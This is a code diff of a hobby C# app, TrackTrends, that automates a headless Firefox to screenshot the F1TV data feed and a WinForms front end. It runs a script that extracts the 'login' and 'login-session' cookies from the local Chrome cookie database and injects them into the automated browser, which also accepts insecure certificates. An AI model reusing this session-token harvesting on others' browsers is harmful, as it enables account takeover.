    F1TVEmulator.cs

    -
    /// Author : Maxime Rohmer
    -/// Date : 08/05/2023
    -/// File : F1TVEmulator.cs
    -/// Brief : Class that contains methods to emulate a browser and navigate the F1TV website
    -/// Version : 0.1
    -
    -using OpenQA.Selenium;
    -using OpenQA.Selenium.Firefox;
    -using OpenQA.Selenium.Interactions;
    -using OpenQA.Selenium.Support.UI;
    -using System;
    -using System.Collections.Generic;
    -using System.Diagnostics;
    -using System.Drawing;
    -using System.IO;
    -using System.Linq;
    -using System.Text;
    -using System.Threading;
    -using System.Threading.Tasks;
    -
    -namespace Test_Merge
    -{
    -    internal class F1TVEmulator
    -    {
    -        public const string COOKIE_HOST = ".formula1.com";
    -        public const string PYTHON_COOKIE_RETRIEVAL_FILENAME = "recoverCookiesCSV.py";
    -        public const string GECKODRIVER_FILENAME = @"geckodriver-v0.27.0-win64\geckodriver.exe";
    -        //BE CAREFULL IF YOU CHANGE IT HERE YOU NEED TO CHANGE IT IN THE PYTHON SCRIPT TOO
    -        public const string COOKIES_CSV_FILENAME = "cookies.csv";
    -
    -        private FirefoxDriver Driver;
    -
    -        private bool _ready;
    -        private string _grandPrixUrl;
    -        public string GrandPrixUrl { get => _grandPrixUrl; private set => _grandPrixUrl = value; }
    -        public bool Ready { get => _ready; set => _ready = value; }
    -        public F1TVEmulator(string grandPrixUrl)
    -        {
    -            GrandPrixUrl = grandPrixUrl;
    -            Ready = false;
    -        }
    -        private void StartCookieRecovering()
    -        {
    -            string scriptPath = PYTHON_COOKIE_RETRIEVAL_FILENAME;
    -            Process process = new Process();
    -            process.StartInfo.FileName = "python.exe";
    -            process.StartInfo.Arguments = scriptPath;
    -            process.StartInfo.UseShellExecute = false;
    -            process.StartInfo.RedirectStandardOutput = true;
    -            process.Start();
    -            string output = process.StandardOutput.ReadToEnd();
    -            process.WaitForExit();
    -        }
    -        public string GetCookie(string host, string name)
    -        {
    -            StartCookieRecovering();
    -            string value = "";
    -            List<Cookie> cookies = new List<Cookie>();
    -            using (var reader = new StreamReader(COOKIES_CSV_FILENAME))
    -            {
    -                // Read the header row and validate column order
    -                string header = reader.ReadLine();
    -                string[] expectedColumns = { "host_key", "name", "value", "path", "expires_utc", "is_secure", "is_httponly" };
    -                string[] actualColumns = header.Split(',');
    -                for (int i = 0; i < expectedColumns.Length; i++)
    -                {
    -                    if (expectedColumns[i] != actualColumns[i])
    -                    {
    -                        throw new InvalidOperationException($"Expected column '{expectedColumns[i]}' at index {i} but found '{actualColumns[i]}'");
    -                    }
    -                }
    -
    -                // Read each data row and parse values into a Cookie object
    -                while (!reader.EndOfStream)
    -                {
    -                    string line = reader.ReadLine();
    -                    string[] fields = line.Split(',');
    -
    -                    string hostname = fields[0];
    -                    string cookieName = fields[1];
    -
    -                    if (hostname == host && cookieName == name)
    -                    {
    -                        value = fields[2];
    -                    }
    -                }
    -            }
    -
    -            return value;
    -        }
    -        public async Task<int> Start()
    -        {
    -            Ready = false;
    -
    -            string loginCookieName = "login";
    -            string loginSessionCookieName = "login-session";
    -            string loginCookieValue = GetCookie(COOKIE_HOST, loginCookieName);
    -            string loginSessionValue = GetCookie(COOKIE_HOST, loginSessionCookieName);
    -
    -            int windowWidth = 1920;
    -            int windowHeight = 768;
    -
    -            var service = FirefoxDriverService.CreateDefaultService(GECKODRIVER_FILENAME);
    -            service.Host = "127.0.0.1";
    -            service.Port = 5555;
    -
    -            FirefoxProfile profile = new FirefoxProfile();
    -            FirefoxOptions options = new FirefoxOptions();
    -            //profile.SetPreference("full-screen-api.ignore-widgets", true);
    -            //profile.SetPreference("media.hardware-video-decoding.enabled", true);
    -            //profile.SetPreference("full-screen-api.enabled", true);
    -            options.Profile = profile;
    -            profile.SetPreference("layout.css.devPixelsPerPx", "1.0");
    -
    -            options.AcceptInsecureCertificates = true;
    -            options.AddArgument("--headless");
    -            //options.AddArgument("--start-maximized");
    -            //options.AddArgument("--window-size=1920x1080");
    -            //options.AddArgument("--width=" + windowWidth);
    -            //options.AddArgument("--height=" + windowHeight);
    -            //options.AddArgument("-window-size=1920x1080");
    -            //options.AddArgument("--width=1920");
    -            //options.AddArgument("--height=1080");
    -            //profile
    -
    -            try
    -            {
    -                Driver = new FirefoxDriver(service, options);
    -            }
    -            catch
    -            {
    -                Ready = false;
    -                return 101;
    -            }
    -
    -            Actions actions = new Actions(Driver);
    -            var loginCookie = new Cookie(loginCookieName, loginCookieValue, COOKIE_HOST, "/", DateTime.Now.AddDays(5));
    -            var loginSessionCookie = new Cookie(loginSessionCookieName, loginSessionValue, COOKIE_HOST, "/", DateTime.Now.AddDays(5));
    -
    -            Driver.Navigate().GoToUrl("https://f1tv.formula1.com/");
    -
    -            Driver.Manage().Cookies.AddCookie(loginCookie);
    -            Driver.Manage().Cookies.AddCookie(loginSessionCookie);
    -
    -            try
    -            {
    -                Driver.Navigate().GoToUrl(GrandPrixUrl);
    -            }
    -            catch
    -            {
    -                //The url is not a valid url
    -                Driver.Dispose();
    -                return 103;
    -            }
    -
    -            //Waits for the page to fully load
    -            Driver.Manage().Timeouts().PageLoad = TimeSpan.FromSeconds(30);
    -
    -            //Removes the cookie prompt
    -            try
    -            {
    -                IWebElement conscentButton = Driver.FindElement(By.Id("truste-consent-button"));
    -                conscentButton.Click();
    -            }
    -            catch
    -            {
    -                //Could not locate the cookie button
    -                Screenshot("ERROR104");
    -                Driver.Dispose();
    -                return 104;
    -            }
    -
    -            //Again waits for the page to fully load (when you accept cookies it takes a little time for the page to load)
    -            //Cannot use The timeout because the feed loading is not really loading so there is not event or anything
    -            Thread.Sleep(5000);
    -
    -            //Switches to the Data channel
    -            try
    -            {
    -                IWebElement dataChannelButton = Driver.FindElement(By.ClassName("data-button"));
    -                dataChannelButton.Click();
    -            }
    -            catch
    -            {
    -                //If the data button does not exists its because the user is not connected
    -                Screenshot("ERROR102");
    -                Driver.Dispose();
    -                return 102;
    -            }
    -
    -            //Open settings 
    -            // Press the space key, this should make the setting button visible
    -            // It does not matter if the feed is paused because when changing channel it autoplays
    -            actions.SendKeys(OpenQA.Selenium.Keys.Space).Perform();
    -            //Clicks on the settings Icon
    -
    -            int tries = 0;
    -            bool success = false;
    -            while (tries < 100 && !success)
    -            {
    -                Thread.Sleep(100);
    -                try
    -                {
    -                    IWebElement settingsButton = Driver.FindElement(By.ClassName("bmpui-ui-settingstogglebutton"));
    -                    settingsButton.Click();
    -                    IWebElement selectElement = Driver.FindElement(By.ClassName("bmpui-ui-videoqualityselectbox"));
    -                    SelectElement select = new SelectElement(selectElement);
    -                    IWebElement selectOption = selectElement.FindElement(By.CssSelector("option[value^='1080_']"));
    -                    selectOption.Click();
    -                    success = true;
    -                }
    -                catch
    -                {
    -                    //Sometimes it can crash because it could not get the options to show up in time. When it happens just retry
    -                    success = false;
    -                    tries++;
    -                }
    -            }
    -
    -            if (!success)
    -            {
    -                Screenshot("ERROR105");
    -                Driver.Dispose();
    -                return 105;
    -            }
    -
    -            Screenshot("BEFOREFULLSCREEN");
    -
    -            //Makes the feed fullscreen
    -            //Driver.Manage().Window.Size = new System.Drawing.Size(windowWidth, windowHeight);
    -            Driver.Manage().Window.Maximize();
    -            WebDriverWait wait = new WebDriverWait(Driver, TimeSpan.FromSeconds(10));
    -            try
    -            {
    -                IWebElement fullScreenButton = Driver.FindElement(By.ClassName("bmpui-ui-fullscreentogglebutton"));
    -                fullScreenButton.Click();
    -            }
    -            catch
    -            {
    -                Screenshot("ERROR106");
    -                Driver.Dispose();
    -                return 106;
    -            }
    -
    -            Screenshot("AFTERFULLSCREEN");
    -
    -            //STARTUP FINISHED READY TO SCREENSHOT
    -            Ready = true;
    -            return 0;
    -        }
    -        public Bitmap Screenshot(string name = "TEST")
    -        {
    -            Bitmap result = new Bitmap(4242, 6969);
    -            try
    -            {
    -                //Screenshot scrsht = ((ITakesScreenshot)Driver).GetScreenshot();
    -                //profileriver.SetPreference("layout.css.devPixelsPerPx", "1.0");
    -
    -                //Screenshot scrsht = Driver.GetFullPageScreenshot();
    -                Screenshot scrsht = Driver.GetScreenshot();
    -
    -
    -                byte[] screenshotBytes = Convert.FromBase64String(scrsht.AsBase64EncodedString);
    -                MemoryStream stream = new MemoryStream(screenshotBytes);
    -
    -                result = new Bitmap(stream);
    -                //result.Save(name + ".png");
    -                scrsht.SaveAsFile(name + ".png");
    -            }
    -            catch
    -            {
    -                //Nothing for now
    -            }
    -            return result;
    -        }
    -        public void Stop()
    -        {
    -            Ready = false;
    -            Driver.Dispose();
    -        }
    -        public void ResetDriver()
    -        {
    -            Ready = false;
    -            Driver.Dispose();
    -            Driver = null;
    -        }
    -    }
    -}
    -
    -
    +
    /// Author : Maxime Rohmer
    +/// Date : 30/05/2023
    +/// File : F1TVEmulator.cs
    +/// Brief : Class that contains methods to emulate a browser and navigate the F1TV website
    +/// Version : Alpha 1.0
    +
    +using OpenQA.Selenium;
    +using OpenQA.Selenium.Firefox;
    +using OpenQA.Selenium.Interactions;
    +using OpenQA.Selenium.Support.UI;
    +using System;
    +using System.Collections.Generic;
    +using System.Diagnostics;
    +using System.Drawing;
    +using System.IO;
    +using System.Linq;
    +using System.Text;
    +using System.Threading;
    +using System.Threading.Tasks;
    +
    +namespace TrackTrends
    +{
    +    internal class F1TVEmulator
    +    {
    +        public const string COOKIE_HOST = ".formula1.com";
    +        public const string PYTHON_COOKIE_RETRIEVAL_FILENAME = "recoverCookiesCSV.py";
    +        public const string GECKODRIVER_FILENAME = @"geckodriver-v0.27.0-win64\geckodriver.exe";
    +        //BE CAREFULL IF YOU CHANGE IT HERE YOU NEED TO CHANGE IT IN THE PYTHON SCRIPT TOO
    +        public const string COOKIES_CSV_FILENAME = "cookies.csv";
    +
    +        private FirefoxDriver Driver;
    +
    +        private bool _ready;
    +        private string _grandPrixUrl;
    +        public string GrandPrixUrl { get => _grandPrixUrl; private set => _grandPrixUrl = value; }
    +        public bool Ready { get => _ready; set => _ready = value; }
    +        public F1TVEmulator(string grandPrixUrl)
    +        {
    +            GrandPrixUrl = grandPrixUrl;
    +            Ready = false;
    +        }
    +        /// <summary>
    +        /// Will start the python programm that runs the Cookie Recovering
    +        /// </summary>
    +        private void StartCookieRecovering()
    +        {
    +            string scriptPath = PYTHON_COOKIE_RETRIEVAL_FILENAME;
    +            Process process = new Process();
    +            process.StartInfo.FileName = "python.exe";
    +            process.StartInfo.Arguments = scriptPath;
    +            process.StartInfo.UseShellExecute = false;
    +            process.StartInfo.RedirectStandardOutput = true;
    +            process.Start();
    +            string output = process.StandardOutput.ReadToEnd();
    +            process.WaitForExit();
    +        }
    +        /// <summary>
    +        /// Method that will recover the needed cookies in the DB
    +        /// </summary>
    +        /// <param name="host"> The host of the wanted cookie ex: ./formula1.com</param>
    +        /// <param name="name">The name of the wanted cookie ex: login</param>
    +        /// <returns>returns the value of the cookie if it has been found</returns>
    +        /// <exception cref="InvalidOperationException"></exception>
    +        public string GetCookie(string host, string name)
    +        {
    +            StartCookieRecovering();
    +            string value = "";
    +            List<Cookie> cookies = new List<Cookie>();
    +            if (File.Exists(COOKIES_CSV_FILENAME))
    +            {
    +                using (var reader = new StreamReader(COOKIES_CSV_FILENAME))
    +                {
    +                    // Read the header row and validate column order
    +                    string header = reader.ReadLine();
    +                    string[] expectedColumns = { "host_key", "name", "value", "path", "expires_utc", "is_secure", "is_httponly" };
    +                    string[] actualColumns = header.Split(',');
    +                    for (int i = 0; i < expectedColumns.Length; i++)
    +                    {
    +                        if (expectedColumns[i] != actualColumns[i])
    +                        {
    +                            throw new InvalidOperationException($"Expected column '{expectedColumns[i]}' at index {i} but found '{actualColumns[i]}'");
    +                        }
    +                    }
    +
    +                    // Read each data row and parse values into a Cookie object
    +                    while (!reader.EndOfStream)
    +                    {
    +                        string line = reader.ReadLine();
    +                        string[] fields = line.Split(',');
    +
    +                        string hostname = fields[0];
    +                        string cookieName = fields[1];
    +
    +                        if (hostname == host && cookieName == name)
    +                        {
    +                            value = fields[2];
    +                        }
    +                    }
    +                }
    +            }
    +            return value;
    +        }
    +        /// <summary>
    +        /// Starts the headless browser
    +        /// </summary>
    +        /// <returns>Error code 1xx</returns>
    +        public async Task<int> Start()
    +        {
    +            Ready = false;
    +
    +            string loginCookieName = "login";
    +            string loginSessionCookieName = "login-session";
    +            string loginCookieValue = GetCookie(COOKIE_HOST, loginCookieName);
    +            string loginSessionValue = GetCookie(COOKIE_HOST, loginSessionCookieName);
    +
    +            //Cookie retreival has gone wrong (usually its because of python not being installed properly)
    +            if (loginCookieValue == "" || loginSessionValue == "")
    +                return 100;
    +
    +            var service = FirefoxDriverService.CreateDefaultService(GECKODRIVER_FILENAME);
    +            service.Host = "127.0.0.1";
    +            service.Port = 5555;
    +
    +            FirefoxProfile profile = new FirefoxProfile();
    +            FirefoxOptions options = new FirefoxOptions();
    +            //profile.SetPreference("full-screen-api.ignore-widgets", true);
    +            //profile.SetPreference("media.hardware-video-decoding.enabled", true);
    +            //profile.SetPreference("full-screen-api.enabled", true);
    +            options.Profile = profile;
    +            profile.SetPreference("layout.css.devPixelsPerPx", "1.0");
    +
    +            options.AcceptInsecureCertificates = true;
    +            options.AddArgument("--headless");
    +            //options.AddArgument("--start-maximized");
    +            //options.AddArgument("--window-size=1920x1080");
    +            //options.AddArgument("--width=" + windowWidth);
    +            //options.AddArgument("--height=" + windowHeight);
    +            //options.AddArgument("-window-size=1920x1080");
    +            //options.AddArgument("--width=1920");
    +            //options.AddArgument("--height=1080");
    +            //profile
    +
    +            try
    +            {
    +                Driver = new FirefoxDriver(service, options);
    +            }
    +            catch
    +            {
    +                Ready = false;
    +                return 101;
    +            }
    +
    +            Actions actions = new Actions(Driver);
    +            var loginCookie = new Cookie(loginCookieName, loginCookieValue, COOKIE_HOST, "/", DateTime.Now.AddDays(5));
    +            var loginSessionCookie = new Cookie(loginSessionCookieName, loginSessionValue, COOKIE_HOST, "/", DateTime.Now.AddDays(5));
    +
    +            Driver.Navigate().GoToUrl("https://f1tv.formula1.com/");
    +
    +            Driver.Manage().Cookies.AddCookie(loginCookie);
    +            Driver.Manage().Cookies.AddCookie(loginSessionCookie);
    +
    +            try
    +            {
    +                Driver.Navigate().GoToUrl(GrandPrixUrl);
    +            }
    +            catch
    +            {
    +                //The url is not a valid url
    +                Driver.Dispose();
    +                return 103;
    +            }
    +
    +            //Waits for the page to fully load
    +            Driver.Manage().Timeouts().PageLoad = TimeSpan.FromSeconds(30);
    +
    +            //Removes the cookie prompt
    +            try
    +            {
    +                IWebElement conscentButton = Driver.FindElement(By.Id("truste-consent-button"));
    +                conscentButton.Click();
    +            }
    +            catch
    +            {
    +                //Could not locate the cookie button
    +                Screenshot("ERROR104");
    +                Driver.Dispose();
    +                return 104;
    +            }
    +
    +            //Again waits for the page to fully load (when you accept cookies it takes a little time for the page to load)
    +            //Cannot use The timeout because the feed loading is not really loading so there is not event or anything
    +            Thread.Sleep(5000);
    +
    +            //Switches to the Data channel
    +            try
    +            {
    +                IWebElement dataChannelButton = Driver.FindElement(By.ClassName("data-button"));
    +                dataChannelButton.Click();
    +            }
    +            catch
    +            {
    +                //If the data button does not exists its because the user is not connected
    +                Screenshot("ERROR102");
    +                Driver.Dispose();
    +                return 102;
    +            }
    +
    +            //Open settings 
    +            // Press the space key, this should make the setting button visible
    +            // It does not matter if the feed is paused because when changing channel it autoplays
    +            actions.SendKeys(OpenQA.Selenium.Keys.Space).Perform();
    +            //Clicks on the settings Icon
    +
    +            int settingsClickTries = 0;
    +            bool settingsClickSuccess = false;
    +            while (settingsClickTries < 100 && !settingsClickSuccess)
    +            {
    +                Thread.Sleep(100);
    +                try
    +                {
    +                    IWebElement settingsButton = Driver.FindElement(By.ClassName("bmpui-ui-settingstogglebutton"));
    +                    settingsButton.Click();
    +                    IWebElement selectElement = Driver.FindElement(By.ClassName("bmpui-ui-videoqualityselectbox"));
    +                    SelectElement select = new SelectElement(selectElement);
    +                    IWebElement selectOption = selectElement.FindElement(By.CssSelector("option[value^='1080_']"));
    +                    selectOption.Click();
    +                    settingsClickSuccess = true;
    +                }
    +                catch
    +                {
    +                    //Sometimes it can crash because it could not get the options to show up in time. When it happens just retry
    +                    settingsClickSuccess = false;
    +                    settingsClickTries++;
    +                }
    +            }
    +
    +            if (!settingsClickSuccess)
    +            {
    +                Screenshot("ERROR105");
    +                Driver.Dispose();
    +                return 105;
    +            }
    +
    +            Screenshot("BEFOREFULLSCREEN");
    +
    +            //Makes the feed fullscreen
    +            int fullScreenClickTries = 0;
    +            bool fullScreenClickSuccess = false;
    +            Driver.Manage().Window.Maximize();
    +            //WebDriverWait wait = new WebDriverWait(Driver, TimeSpan.FromSeconds(10));
    +            while (fullScreenClickTries < 100 && !fullScreenClickSuccess)
    +            {
    +                Thread.Sleep(150);
    +                try
    +                {
    +                    IWebElement fullScreenButton = Driver.FindElement(By.ClassName("bmpui-ui-fullscreentogglebutton"));
    +                    fullScreenButton.Click();
    +                    fullScreenClickSuccess = true;
    +                }
    +                catch
    +                {
    +                    fullScreenClickSuccess = false;
    +                    fullScreenClickTries++;
    +                }
    +            }
    +
    +            if (!fullScreenClickSuccess)
    +            {
    +                Screenshot("ERROR106");
    +                Driver.Dispose();
    +                return 106;
    +            }
    +
    +            Screenshot("AFTERFULLSCREEN");
    +
    +            //STARTUP FINISHED READY TO SCREENSHOT
    +            Ready = true;
    +            return 0;
    +        }
    +        /// <summary>
    +        /// Takes a screenshot of what the headless browser is displaying
    +        /// </summary>
    +        /// <param name="name">Optional ! The name of the picture so it can be saved</param>
    +        /// <returns>Returns the screenshot in the bitmap format</returns>
    +        public Bitmap Screenshot(string name = "TEST")
    +        {
    +            Bitmap result = new Bitmap(4242, 6969);
    +            try
    +            {
    +                //Screenshot scrsht = ((ITakesScreenshot)Driver).GetScreenshot();
    +                //profileriver.SetPreferencC:\Users\Moi\source\repos\Test_Merge\README.mde("layout.css.devPixelsPerPx", "1.0");
    +
    +                //Screenshot scrsht = Driver.GetFullPageScreenshot();
    +                Screenshot scrsht = Driver.GetScreenshot();
    +
    +                byte[] screenshotBytes = Convert.FromBase64String(scrsht.AsBase64EncodedString);
    +                MemoryStream stream = new MemoryStream(screenshotBytes);
    +
    +                result = new Bitmap(stream);
    +                //result.Save(name + ".png");
    +                scrsht.SaveAsFile(name + ".png");
    +            }
    +            catch
    +            {
    +                //Nothing for now
    +            }
    +            return result;
    +        }
    +        /// <summary>
    +        /// Stops the Emulation. Note: if you plan to start it again please use ResetDriver() instead
    +        /// </summary>
    +        public void Stop()
    +        {
    +            Ready = false;
    +            if (Driver != null)
    +                Driver.Dispose();
    +        }
    +        /// <summary>
    +        /// Resets the emulation
    +        /// </summary>
    +        public void ResetDriver()
    +        {
    +            Ready = false;
    +            if (Driver != null)
    +                Driver.Dispose();
    +            Driver = null;
    +        }
    +    }
    +}
    +
  • - - DriverGapToLeaderWindow.cs - -
  • -
  • - - DriverPositionWindow.cs - -
  • -
  • - - F1TVEmulator.cs - -
  • -
  • - - Program.cs - -
  • -
  • - - Window.cs - -
  • -
  • DriverData.cs
  • - - DriverLapTimeWindow.cs + + DriverGapToLeaderWindow.cs + +
  • +
  • + + DriverNameWindow.cs
  • @@ -174,6 +154,11 @@ DriverSectorWindow.cs
  • +
  • + + F1TVEmulator.cs + +
  • @@ -181,8 +166,18 @@
  • - - Reader.cs + + Program.cs + +
  • +
  • + + Settings.Designer.cs + +
  • +
  • + + SqliteStorage.cs
  • @@ -191,13 +186,23 @@
  • + + DataWrapper.cs + +
  • +
  • DriverDrsWindow.cs
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
  • +
  • + + DriverPositionWindow.cs
  • @@ -211,11 +216,21 @@
  • + + Reader.cs + +
  • +
  • Settings.cs
  • + + Window.cs + +
  • +
  • recoverCookiesCSV.py @@ -239,42 +254,436 @@

    Form1.cs

    -
    using System;
    -using System.Collections.Generic;
    -using System.ComponentModel;
    -using System.Data;
    -using System.Drawing;
    -using System.Linq;
    -using System.Text;
    -using System.Threading.Tasks;
    -using System.Windows.Forms;
    -
    -namespace Test_Merge
    -{
    -    public partial class Form1 : Form
    -    { 
    -        public Form1()
    -        {
    -            InitializeComponent();
    -        }
    -
    -        private void btnSettings_Click(object sender, EventArgs e)
    -        {
    -            Settings settingsForm = new Settings();
    -            settingsForm.ShowDialog();
    -            MessageBox.Show(settingsForm.GrandPrixUrl + Environment.NewLine + settingsForm.GrandPrixName + Environment.NewLine + settingsForm.GrandPrixYear);
    -        }
    -    }
    -}
    -
    -
    +
    using System;
    +using System.Collections.Generic;
    +using System.ComponentModel;
    +using System.Data;
    +using System.Diagnostics;
    +using System.Drawing;
    +using System.Linq;
    +using System.Text;
    +using System.Threading;
    +using System.Threading.Tasks;
    +using System.Windows.Forms;
    +using System.IO;
    +
    +namespace TrackTrends
    +{
    +    public partial class Main : Form
    +    {
    +        //private Reader Reader = null;
    +        private F1TVEmulator Emulator = null;
    +        private DataWrapper Wrapper = null;
    +        private bool cancelRequested = false;
    +        private SemaphoreSlim semaphore = new SemaphoreSlim(1);
    +
    +        string ConfigFile = "";
    +        string GpUrl = "";
    +
    +        //For the responsive content
    +
    +        Size oldSize = new Size();
    +        Size oldRankingSize = new Size();
    +        Size oldLapTimesSize = new Size();
    +        Size oldBattles = new Size();
    +
    +        Size oldPnlBattles = new Size();
    +        Size oldPnlRankings = new Size();
    +        Size oldPnlFastest = new Size();
    +        Size oldPnlSlowest = new Size();
    +
    +        Point oldRankingPosition = new Point();
    +        Point oldBattlePosition = new Point();
    +        Point oldDriverInfoPosition = new Point();
    +
    +        Point olPnlFastestPosition = new Point();
    +        Point oldPnlSlowestPosition = new Point();
    +
    +        public Main()
    +        {
    +            InitializeComponent();
    +        }
    +        public async void RefreshUI()
    +        {
    +            if (Directory.Exists(ConfigurationTool.CONFIGS_FOLDER_NAME))
    +            {
    +                lsbPresets.DataSource = null;
    +                lsbPresets.DataSource = Directory.GetFiles(ConfigurationTool.CONFIGS_FOLDER_NAME);
    +            }
    +        }
    +        private async void btnSettings_Click(object sender, EventArgs e)
    +        {
    +            if (Emulator != null)
    +                Emulator.ResetDriver();
    +
    +            btnStartDecoding.Enabled = false;
    +            btnStopUpdating.Enabled = false;
    +            btnResetEmulator.Text = "Launch";
    +
    +            Emulator = null;
    +            Wrapper = null;
    +
    +            GC.Collect();
    +
    +            Settings settingsForm = new Settings();
    +            settingsForm.ShowDialog();
    +            RefreshUI();
    +            //MessageBox.Show(settingsForm.GrandPrixUrl + Environment.NewLine + settingsForm.GrandPrixName + Environment.NewLine + settingsForm.GrandPrixYear);
    +            if (settingsForm.GrandPrixUrl != "" && settingsForm.SelectedConfigFile != "")
    +            {
    +                GpUrl = settingsForm.GrandPrixUrl;
    +                tbxGpUrl.Text = GpUrl;
    +                if (File.Exists(settingsForm.SelectedConfigFile))
    +                {
    +                    ConfigFile = settingsForm.SelectedConfigFile;
    +                    for(int i = 0; i < lsbPresets.Items.Count; i++)
    +                    {
    +                        if (lsbPresets.Items[i].ToString() == ConfigFile)
    +                            lsbPresets.SelectedIndex = i;
    +                    }
    +                }
    +                else
    +                {
    +                    MessageBox.Show("The config file has not been found please return to the config and change it");
    +                }
    +            }
    +            else
    +            {
    +                //WE dont care anymore, the user will choose its Grand Prix himself in the main program
    +                //MessageBox.Show("There is no URL for the Grand Prix you want to decode. Please return to the config and add a valid one");
    +            }
    +        }
    +
    +        private async void Form1_Load(object sender, EventArgs e)
    +        {
    +            //Those are the default values but they will need to be changed later when the configuration has been done
    +            ConfigFile = "./Presets/Clean_4K_2023.json";
    +            GpUrl = "https://f1tv.formula1.com/detail/1000006688/2023-azerbaijan-grand-prix?action=play";
    +
    +            tbxGpUrl.Text = GpUrl;
    +
    +            oldSize = this.Size;
    +            oldRankingSize = gpbxRanking.Size;
    +            oldLapTimesSize = gpbxLapTimes.Size;
    +            oldBattles = gpbxBattles.Size;
    +
    +            oldPnlRankings = pnlLiveRanking.Size;
    +            oldPnlBattles = pnlBattles.Size;
    +            oldPnlFastest = pnlFastest.Size;
    +            oldPnlSlowest = pnlSlowest.Size;
    +
    +            oldRankingPosition = gpbxRanking.Location;
    +            oldBattlePosition = gpbxBattles.Location;
    +            oldDriverInfoPosition = gpbxDriverInfos.Location;
    +
    +            olPnlFastestPosition = pnlFastest.Location;
    +            oldPnlSlowestPosition = pnlSlowest.Location;
    +
    +            tip1.SetToolTip(btnResetEmulator, "Starts or restarts the emulator. You need to start this to use the app");
    +            tip1.SetToolTip(btnSettings, "Opens the configuration menu");
    +            tip1.SetToolTip(tbxGpUrl, "Insert the URL of the Grand Prix you want to track. Dont forget the \"?action=play\" at the end");
    +            tip1.SetToolTip(lsbPresets, "Select a configuration preset to use with the decoding");
    +            tip1.SetToolTip(pbxResult,"A preview of what the program sees. You should see the DATA page of the F1TV here");
    +            tip1.SetToolTip(lsbOvertakes,"A list of all the activity. You can scroll to see the most recent overtakes");
    +            tip1.SetToolTip(gpbxBattles,"The four first battles in the field. A battle is two drivers less than 3 seconds apart");
    +            tip1.SetToolTip(gpbxLapTimes,"The fastest and slowest drivers on track at the moment. It takes the average lapTime of the last 5 laps to choose who is the fastes or the slowest");
    +
    +            RefreshUI();
    +        }
    +
    +        private async void btnUpdate_Click(object sender, EventArgs e)
    +        {
    +            cancelRequested = false;
    +            if (Emulator != null && Wrapper != null)
    +            {
    +                // Disable UI controls to prevent re-entrancy
    +                btnResetEmulator.Enabled = false;
    +                btnStartDecoding.Enabled = false;
    +                btnStopUpdating.Enabled = true;
    +                btnSettings.Enabled = false;
    +                while (!cancelRequested)
    +                {
    +                    await semaphore.WaitAsync();
    +
    +                    try
    +                    {
    +                        // Start the time-consuming task on a separate thread
    +                        await Task.Run(async () =>
    +                        {
    +                            Stopwatch sw = new Stopwatch();
    +                            sw.Start();
    +
    +                            Bitmap screen = Emulator.Screenshot();
    +                            screen.Save("HopefullyDataScreenshot.png");
    +
    +                            Invoke((MethodInvoker)delegate
    +                            {
    +                                pbxResult.Image = (Bitmap)screen.Clone();
    +                            });
    +
    +                            Wrapper.ChangeImage(screen);
    +                            int errorCode = Wrapper.Refresh();
    +
    +                            sw.Stop();
    +                            // Task completed
    +                            Invoke((MethodInvoker)delegate
    +                            {
    +                                DisplayResults(errorCode, sw, screen);
    +                                DisplayBattles();
    +                                DisplayDeltas();
    +                                DisplayOvertakes();
    +                            });
    +                        });
    +                    }
    +                    finally
    +                    {
    +                        semaphore.Release();
    +                    }
    +                }
    +                // Re-enable UI controls
    +                btnStopUpdating.Text = "Stop";
    +                btnStartDecoding.Enabled = true;
    +                btnStopUpdating.Enabled = false;
    +                btnResetEmulator.Enabled = true;
    +                btnSettings.Enabled = true;
    +            }
    +        }
    +        private void DisplayOvertakes()
    +        {
    +            Wrapper.DisplayOvertakes(lsbOvertakes);
    +        }
    +        private void DisplayBattles()
    +        {
    +            Wrapper.DisplayBattles(pnlBattles, this);
    +        }
    +        private void DisplayDeltas()
    +        {
    +            Wrapper.DisplayTimesDeltas(pnlFastest, pnlSlowest, this);
    +        }
    +        private void Form1_FormClosing(object sender, FormClosingEventArgs e)
    +        {
    +            if (Emulator != null)
    +            {
    +                Emulator.Stop();
    +            }
    +        }
    +        private void DisplayResults(int errorCode, Stopwatch sw, Bitmap screen)
    +        {
    +            if (errorCode != 0)
    +            {
    +                cancelRequested = true;
    +                MessageBox.Show("An error has occured while trying to recover data from live feed. This can happen sometimes. I would advise you to restart a few times. If the problem persists check your configuration.");
    +            }
    +            else
    +            {
    +                Wrapper.DisplayLiveRanking(pnlLiveRanking, this);
    +            }
    +        }
    +
    +        private void btnStopUpdating_Click(object sender, EventArgs e)
    +        {
    +            // Set the cancellation flag
    +            cancelRequested = true;
    +            btnStopUpdating.Enabled = false;
    +            btnResetEmulator.Enabled = false;
    +            btnStopUpdating.Text = "Stopping";
    +        }
    +        private async void button1_Click(object sender, EventArgs e)
    +        {
    +            lsbOvertakes.Items.Clear();
    +            btnResetEmulator.Text = "Launching";
    +            btnResetEmulator.Enabled = false;
    +            btnSettings.Enabled = true;
    +            btnStartDecoding.Enabled = false;
    +            btnStopUpdating.Enabled = false;
    +            btnSettings.Enabled = false;
    +            int errorCode = -1;
    +            await Task.Run(async () =>
    +            {
    +                if (Emulator != null)
    +                    Emulator.ResetDriver();
    +
    +                Emulator = null;
    +                Wrapper = null;
    +
    +                GC.Collect();
    +
    +                Emulator = new F1TVEmulator(GpUrl);
    +                errorCode = await Emulator.Start();
    +            });
    +
    +            if (errorCode != 0)
    +            {
    +                string message = "";
    +                switch (errorCode)
    +                {
    +                    case 100:
    +                        message = "Error " + errorCode + " Could not recover cookies. It could be because of an improper installation of python or bad cookies in the chrome database. Please try to log on to the F1TV using chrome again";
    +                        break;
    +                    case 101:
    +                        message = "Error " + errorCode + " Could not start the driver. It could be because an other instance is runnin make sure you closed them all before trying again";
    +                        break;
    +                    case 102:
    +                        message = "Error " + errorCode + " Could not navigate on the F1TV site. Make sure the correct URL has been given and that you logged from chrome. It can take a few minutes to update";
    +                        break;
    +                    case 103:
    +                        message = "Error " + errorCode + " The url is not a valid url";
    +                        break;
    +                    case 104:
    +                        message = "Error " + errorCode + " The url is not a valid url";
    +                        break;
    +                    case 105:
    +                        message = "Error " + errorCode + " There has been an error trying to emulate button presses. Please try again";
    +                        break;
    +                    case 106:
    +                        message = "Error " + errorCode + " There has been an error trying to emulate button presses. Please try again";
    +                        break;
    +                    default:
    +                        message = "Could not start the emulator Error " + errorCode;
    +                        break;
    +                }
    +                MessageBox.Show(message);
    +
    +                btnResetEmulator.Enabled = true;
    +                btnSettings.Enabled = true;
    +                btnResetEmulator.Text = "Retry";
    +            }
    +            else
    +            {
